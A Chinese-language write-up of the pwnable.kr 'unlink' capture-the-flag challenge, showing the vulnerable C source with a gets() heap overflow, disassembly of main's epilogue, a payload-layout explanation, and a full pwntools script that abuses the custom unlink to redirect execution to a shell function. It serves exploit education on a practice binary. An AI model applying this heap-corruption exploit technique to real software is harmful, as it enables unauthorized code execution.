来自 pwnable.kr 的一道特别的 unlink 题
这题的程序


首先先看看代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

分析程序

不是很长,很容易懂:

  1. 自定了个类似 chunk 的结构
  2. 自定了个 unlink 函数(原 unlink 函数已经有保护了,所以利用不起来。)
  3. 申请了三个 chunk
  4. gets 函数这里可以写任意长度的数据,可以覆盖 B 的 chunk
  5. 程序还有个 shell 函数,将 eip 指向此处即可,不需要写 shell 了。
  6. 这里泄露了 heap 和 stack 的地址

利用

现在最大的问题就是,将 shell 的地址写到哪里可以控制 eip

(此时无耻的翻一下 WP

程序分析

查看该程序的汇编代码:

objdump -M intel -S unlink
翻到 main 函数的最后,可以注意到几句有意思的代码:

1
2
3
4
80485ff:	8b 4d fc             	mov    ecx,DWORD PTR [ebp-0x4]
8048602: c9 leave
8048603: 8d 61 fc lea esp,[ecx-0x4]
8048606: c3 ret

ebp 的地址?

  1. 在这里把 [ecx-0x4] 的值给了 esp,然后调用了 ret,所以此处只要能控制 ecx-0x4 下的值,就可以控制 eip
  2. ecx 又来自 ebp-0x4,但是程序已经泄露了 变量A 的地址了,我们可以通过 A 的地址偏移某个值得到 EBP,这个不是重点,所以在这里先说偏移量:EBP = A + 0x14。

将 shellcode 地址写在哪里?

将上面的代码解析一下: *(*(ebp-4)-4) = shellcode地址。

所以地址 *(ebp-4)-4 下的内容我们也要控制。正好我们还有一块地址: 变量A 。

直接看 payload 吧:

shellcode_addr(1) + 填充(2) + ( 变量A + 8 +4)(3) + EBP-0x4(4)

  1. shellcode_addr 可以通过程序获取到: 0x80484eb
  2. 填充是 (16-4) 个,(其实我觉得 buf 应该是 8 个字节,但是从调试看来 buf 好像有 16 个字节一样,可能是对齐?)
  3. 变量A 的地址指向的是 fd,但是 shellcode_addr 在 buf 处,所以要加上 8,又因为还要过会还要 -4 ,所以再加上 4 。
  4. *(ebp-4) 处取的是 ebp-4 的位置,故 -4。

ok,payload 构造完了,利用起来就可以了。

再说说怎么得到的 A 相对 EBP 的偏移量,我们幻想一下栈:

1
2
3
4
5
A <=== 泄露地址
B -0x4
C -0x8
EBP -0xC
EIP -0x10

这么计算起来 EBP 应该位于 A-0xC 处,但是实际上却是 0x14 除,中间多出来的 8 个字节我也不知道是啥,但是我们可以通过 gdb 调试的方式得到这个偏移(当然我一开始也是看的 WP)。

贴一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process('./unlink')
p.recvuntil('stack address leak: ')
stack_addr = p.recvuntil('\n')
p.recvuntil('heap address leak: ')
heap_addr = p.recvuntil('\n')

stack_addr = int(stack_addr,16)
heap_addr = int(heap_addr,16)
shell_addr = 0x80484eb
ebp = stack_addr + 0x14


print "stack : "+ str(hex(stack_addr))
print "heap : "+ str(hex(heap_addr))

payload = p32(shell_addr) + 'a'*12 + p32(heap_addr + 12) + p32(ebp-4)
#gdb.attach(p)
#pause()

p.recvuntil('shell!')
p.sendline(payload)

p.interactive()